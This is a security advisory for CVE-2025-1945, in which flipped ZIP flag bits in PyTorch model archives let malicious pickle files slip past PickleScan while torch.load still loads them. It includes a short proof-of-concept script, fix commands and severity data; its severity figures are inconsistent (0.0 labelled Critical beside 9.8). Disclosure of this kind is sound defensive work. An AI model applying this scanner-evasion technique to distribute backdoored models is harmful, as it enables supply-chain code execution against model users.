Skip to content

GHSA-w8jq-xcqf-f792 CVE-2025-1945 PYSEC-2025-21

Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch

Critical PyPI
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.55%
Chance of exploitation in the next 30 days. Higher than 46.27% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-345 Insufficient Verification of Data Authenticity
Fix
0.0.23
Upgrade picklescan to this version or later

Description

Summary

PickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.

Details

PickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.

By modifying the flag_bits field in the ZIP file entry, an attacker can:

  • Embed a malicious pickle file (bad_file.pkl) in a PyTorch model archive.
  • Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata.
  • Prevent PickleScan from scanning the archive due to errors raised by zipfile.
  • Successfully load the model with torch.load(), which ignores the flag modifications.

This technique effectively bypasses PickleScan's security checks while maintaining model functionality.

PoC

import os
import zipfile
import torch
from picklescan import cli

def can_scan(zip_file):
    try:
        cli.print_summary(False, cli.scan_file_path(zip_file))
        return True
    except Exception:
        return False

bit_to_flip = 0x1  # Change to 0x20 or 0x40 to test different flag bits

zip_file = "model.pth"
model = {'a': 1, 'b': 2, 'c': 3}
torch.save(model, zip_file)

with zipfile.ZipFile(zip_file, "r") as source:
    flipped_name = f"flipped_{bit_to_flip}_{zip_file}"
    with zipfile.ZipFile(flipped_name, "w") as dest:
        bad_file = zipfile.ZipInfo("model/bad_file.pkl")
        
        # Modify the ZIP flag bits
        bad_file.flag_bits |= bit_to_flip
        
        dest.writestr(bad_file, b"bad content")
        for item in source.infolist():
            dest.writestr(item, source.read(item.filename))

if model == torch.load(flipped_name, weights_only=False):
    if not can_scan(flipped_name):
        print('Found exploitable bit:', bit_to_flip)
else:
    os.remove(flipped_name)

Impact

Severity: High

  • Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models.
  • What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan's detection but still execute upon loading.
  • Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.

Recommendations

  • Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits.
  • Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.

By addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.

Affected versions

PyPI

PackageVulnerableFixed in
picklescan
< 0.0.23
0.0.23
picklescan
< 0.0.23
0.0.23

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

picklescan PyPI → 0.0.23

pip
pip install --upgrade "picklescan>=0.0.23"
poetry
poetry add "picklescan>=0.0.23"
uv
uv add "picklescan>=0.0.23"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-345: Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-g38g-8gr9-h9xp
PickleScan has multiple stdlib modules with direct RCE not in blocklist
Critical Also affects picklescan
GHSA-vvpj-8cmc-gx39
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Critical Also affects picklescan
GHSA-7wx9-6375-f5wh
PickleScan's profile.run blocklist mismatch allows exec() bypass
Critical Also affects picklescan
GHSA-97f8-7cmv-76j2
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
High Also affects picklescan
GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
Medium Also affects picklescan
GHSA-9m3x-qqw2-h32h
picklescan missing detection by simple obfuscation of a `builtins.eval` call
Critical Also affects picklescan
GHSA-9726-w42j-3qjr
picklescan has Arbitrary file read using `io.FileIO`
High Also affects picklescan
GHSA-46h3-79wf-xr6c
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
High Also affects picklescan
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor